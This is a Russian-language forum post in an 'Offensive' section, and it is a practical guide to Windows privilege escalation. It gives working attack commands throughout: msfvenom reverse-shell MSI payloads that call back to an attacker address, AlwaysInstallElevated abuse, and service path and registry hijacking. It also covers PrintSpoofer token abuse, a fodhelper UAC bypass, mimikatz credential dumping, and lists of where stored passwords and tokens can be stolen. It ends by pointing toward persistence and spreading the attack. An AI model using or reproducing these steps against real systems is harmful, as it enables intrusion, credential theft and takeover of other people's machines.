• XSS.stack #1 – первый литературный журнал от юзеров форума

Privilege Escalation для Windows

Offensive

floppy-диск
Пользователь
Регистрация
21.07.2025
Сообщения
4
Реакции
2
1. Введение

Что такое Privilege Escalation?

Privilege Escalation (эскалация привилегий) — это процесс получения доступа к более высоким правам в системе, чем те, что были предоставлены изначально. Чаще всего речь идёт о переходе от обычного пользователя к администратору или даже к системному аккаунту (SYSTEM).

Эта техника — важнейший этап в атаке на систему, поскольку:

⦁ открывает доступ к защищенным данным;
⦁ позволяет закрепится;
⦁ расширяет контроль над машиной или сетью.

Вертикальная и горизонтальная эскалация

Тип Описание Пример
Vertical Escalation прав выше текущих Пользователь без прав администратора становится админом

Horizontal Escalation Получение доступа к чужим учёткам того же уровня Один обычный пользователь получает доступ к данным другого


Почему Windows — частая цель?
Windows широко используется как в корпоративной, так и в пользовательской среде, а значит:

⦁ Большая поверхность атаки: службы, планировщик задач, Active Directory, UAC и др.
⦁ Ошибки конфигурации: часто службы запускаются с избыточными правами или неправильными разрешениями на файлы.
⦁ Наследие старых решений: поддержка устаревших механизмов (например, UAC bypass через eventvwr.exe) делает систему уязвимой.
⦁ Человеческий фактор: пользователи и админы часто делают небезопасные действия (например, ставят “AlwaysInstallElevated”).
⦁ Таким образом, Windows — идеальная среда для демонстрации техник Local Privilege Escalation (LPE).


2. Первичный сбор информации

Перед тем как переходить к попыткам эскалации привилегий, важно провести разведку. Это поможет выявить потенциальные точки входа. Ниже — основные категории и инструменты.

Основные цели сбора информации:

Цель Описание
Версия Windows Может содержать известные уязвимости

Пользователи и группы Кто является администратором? Есть ли слабые аккаунты?

Запущенные процессы и службы Какие из них работают с высоким уровнем привилегий?
Разрешения на файлы и каталоги Неправильные ACL могут быть использованы для подмены исполняемых файлов

Автозагрузка и планировщик задач Могут содержать точки внедрения
UAC-настройки Позволяют определить возможность обхода контроля учётных записей



Полезные команды и инструменты:

systeminfo Версия Windows, патчи, архитектура
whoami /groups Группы пользователя
net users Список локальных пользователей
net localgroup administrators Кто имеет админ-доступ

tasklist /v Запущенные процессы
sc query Службы и их статусы

icacls <путь> Права на файлы и каталоги

schtasks Задания планировщика
reg query HKLM... Автозагрузка через реестр
PowerShell:

⦁ Get-LocalUser
⦁ Get-LocalGroupMember -Group "Administrators"
⦁ Get-Service | Where-Object {$_.StartType -eq "Auto"}



3. Автоматизация разведки:

PowerUp

PowerShell-скрипт для обнаружения потенциальных LPE-уязвимостей.

. .\PowerUp.ps1 Invoke-AllChecks

WinPEAS

Один из лучших инструментов для автоматизированной разведки. Покрывает всё — от патчей до токенов.

winpeas.exe > output.txt

Что искать?

3.1 Уязвимости системы и патчей
Не обновленная Windows
Примеры:

CVE-2021-41379 — bypass UAC

CVE-2022-21882 — Win32k LPE

CVE-2021-34527 (PrintNightmare) — выполнение произвольного кода через Print Spooler

Используется эксплойт, соответствующий версии Windows. Проверка: systeminfo и wmic qfe.

3.2 Неправильные разрешения и конфигурации

AlwaysInstallElevated
Если два ключа реестра включены:
HKCU\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKLM\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

можно запустить .msi от имени SYSTEM:
msfvenom -p windows/shell_reverse_tcp LHOST=... -f msi > shell.msi
msiexec /quiet /qn /i shell.msi
Unquoted Service Path
Если путь к исполняемому файлу службы не заключён в кавычки и пользователь может писать в один из промежуточных каталогов:

sc qc <ServiceName>
Можно подложить исполняемый файл с нужным именем и дождаться перезапуска службы.

3.3 Уязвимости служб и планировщика задач


Weak service permissions
Права на изменение binPath или на перезапуск службы:

accesschk.exe -uwcqv "Username" * /accepteula
Если у пользователя есть SERVICE_CHANGE_CONFIG, можно заменить исполняемый файл или путь.

Уязвимые задания планировщика
schtasks /query /fo LIST /v
Если задача работает от имени SYSTEM и запускает скрипт в месте, куда есть доступ на запись — это путь к эскалации.

3.4 Токены и привилегии


SeImpersonatePrivilege
Если у процесса есть SeImpersonate, можно использовать Juicy Potato / PrintSpoofer:

PrintSpoofer64.exe -i -c cmd
3.5 Credentials & Secrets
В памяти (LSASS)
Получение хешей и паролей из LSASS:

mimikatz

sekurlsa::logonpasswords
Из файлов
C:\Users\<User>\AppData\Roaming — часто сохраняются токены, ключи, пароли.

C:\ProgramData\ — настройки ПО с доступом на чтение.

Информация из браузеров, FTP-клиентов, старых RDP-сессий.

3.6 DLL Hijacking
Если приложение загружает DLL из текущего каталога и пользователь может подменить её — можно выполнить код с правами приложения (вплоть до SYSTEM).

3.7 Из файлов: локальные источники чувствительной информации
Помимо LSASS и хранилищ памяти, в Windows множество программ сохраняют учетные данные или токены авторизации в открытых или слабо защищённых местах. Примеры ниже полезны для локального пользователя с правами чтения.

%APPDATA% и %LOCALAPPDATA%

C:\Users\<username>\AppData\Roaming\
C:\Users\<username>\AppData\Local\

Что искать:
Auth tokens и конфиги популярных приложений:

Microsoft\Credentials — системные учётные данные.

Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt — история PowerShell (возможные команды с паролями).

FileZilla\recentservers.xml — логины к FTP.

Discord\Local Storage\leveldb — токены Discord.

Chrome\User Data\Default\Login Data — база данных SQLite с паролями (можно расшифровать в Mimikatz).

RDP кэши: Default.rdp, rdpconf.ini.

Как искать:
Get-ChildItem -Path "C:\Users" -Recurse -Include .xml,.txt,.conf,.ini -ErrorAction SilentlyContinue
Или использовать WinPEAS:

winpeas.exe quiet > loot.txt
C:\ProgramData\

3.8 Конфигурационные файлы, к которым у обычного пользователя есть права READ или даже WRITE.


ПО, устанавливающее свои параметры в ProgramData\vendor\config.xml, settings.ini, cred.json и т.п.

Часто встречается в слабозащищённых корпоративных билдах (автозапуск скриптов, пути до исполняемых файлов, таймеры задач).

Get-ChildItem "C:\ProgramData" -Recurse -Include .ini,.json,*.ps1 -ErrorAction SilentlyContinue

Устаревшие RDP-сессии и системные логи
C:\Users\<User>\Documents\Default.rdp — если сохранена опция "Сохранять учетные данные".

C:\Users\<User>\AppData\Local\Microsoft\Terminal Server Client\Cache\ — скриншоты и кэш сессий.

%USERPROFILE%\Recent\ — последние открытые документы, возможно с логами/паролями.

C:\Windows\System32\Tasks\ — задачи с аргументами, содержащими пароли.

3.9 DLL Hijacking (DLL Search Order Hijacking)
DLL Hijacking — техника, при которой злоумышленник подменяет или внедряет библиотеку, которая будет загружена доверенным процессом. Часто это возможно из-за некорректного указания путей или особенностей поиска DLL в Windows.

Как работает механизм загрузки DLL:
Если путь не указан явно — Windows ищет DLL в следующем порядке:

1. Папка исполняемого файла
2. C:\Windows\System32
3. C:\Windows\System
4. C:\Windows
5. Текущий рабочий каталог (GetCurrentDirectory)
6. Переменные среды PATH
Если в пути нет кавычек (в службе или задаче), Windows разбивает его по пробелам и ищет C:\Program.exe, C:\Program Files\App\service.exe и т.д.

Как обнаружить:
Найти службы с некорректно заданными путями:

wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i "Auto"
Проверить исполняемые файлы:

Sigcheck -q -c -e -u C:\Path\To\Binary.exe
Использовать инструмент:

procmon.exe /filter "Operation is Load Image"
Фильтруем, чтобы увидеть, какие DLL ищет приложение, и где именно ищет.

Эксплуатация:
Поместить вредоносную DLL с нужным именем в одну из директорий, куда приложение обращается.

Запустить или дождаться запуска процесса.

Код выполнится в контексте владельца процесса (может быть SYSTEM).

sc qc VulnerableService
Если путь к бинарю — C:\Program Files\Vuln App\app.exe без кавычек, Windows может попытаться выполнить:

C:\Program.exe
— создаём Program.exe, получаем запуск от имени SYSTEM.


4. Практические примеры

4.1 Неудаленные SUID-аналоги: служба с FullControl


Служба Windows запускается от имени SYSTEM, но её бинарь доступен на запись пользователю.

Команда для проверки:

icacls "C:\Program Files\SomeApp\service.exe"
Если вывод содержит BUILTIN\Users:(F) или Everyone:(F), это уязвимо.

Эксплуатация:

Заменяем бинарь вредоносным .exe с шеллом (можно через msfvenom).

Перезапускаем службу:

net stop SomeService && net start SomeService
Привилегии: NT AUTHORITY\SYSTEM

4.2 Планировщик заданий (Task Scheduler) с уязвимым путём
Описание:
Задача запланирована на выполнение от SYSTEM, но .exe в аргументах отсутствует или доступен на запись.

Get-ScheduledTask | where {$_.TaskPath -notlike '\Microsoft*'} | Get-ScheduledTaskInfo
Проверь Actions → Execute путь. Если файл отсутствует — можно создать под тем именем свой.

Пример:
C:\Program Files\VulnApp\start.bat отсутствует, а задача запускается от имени SYSTEM.

Решение:

Создай start.bat:

net localgroup administrators attacker /add
И дождись запуска или форсируй вручную.

4.3 AlwaysInstallElevated (MSI злоупотребление)
Описание:
Если в реестре включена политика AlwaysInstallElevated, любой .msi запускается от SYSTEM.

Проверка:

reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Обе должны быть 0x1.

Эксплуатация:

Создаём MSI-пакет с шеллом:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi > shell.msi
Запускаем:

msiexec /quiet /qn /i shell.msi

4.4 Уязвимые службы: неправильные ACL в реестре

Описание:
Если пользователь может редактировать HKLM\SYSTEM\CurrentControlSet\Services\SomeService, он может указать любой исполняемый файл.

Проверка:

Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\* | Format-List
Эксплуатация:

Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\VulnSvc' -Name "ImagePath" -Value "C:\temp\shell.exe"
Start-Service VulnSvc

4.5 DLL Hijacking + UAC bypass
Описание:
Бинарь подписан Microsoft, вызывает DLL из локального каталога, который доступен на запись пользователю. Часто используется для UAC bypass (auto-elevated apps).

Примеры приложений:

fodhelper.exe

ComputerDefaults.exe

sdclt.exe (до Win10 1803)

Эксплуатация с fodhelper.exe:

Создать ключ реестра:

reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v "DelegateExecute" /f
Запустить:

fodhelper.exe
Результат: командная строка с правами администратора, без UAC prompt.

4.6 Token Impersonation (захват токена процесса SYSTEM)
Описание:
Если процесс SYSTEM с SeImpersonatePrivilege доступен в сессии, можно использовать его токен через Named Pipe или с помощью PrintSpoofer.

Поиск процесса:

whoami /priv
Если SeImpersonatePrivilege — Enabled, можно использовать PrintSpoofer.

Эксплуатация:

PrintSpoofer.exe -i -c cmd

После успешного повышения привилегий важной задачей становится закрепление доступа и расширение контроля над сетью. Это критичные этапы для долгосрочного присутствия и масштабирования атаки.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх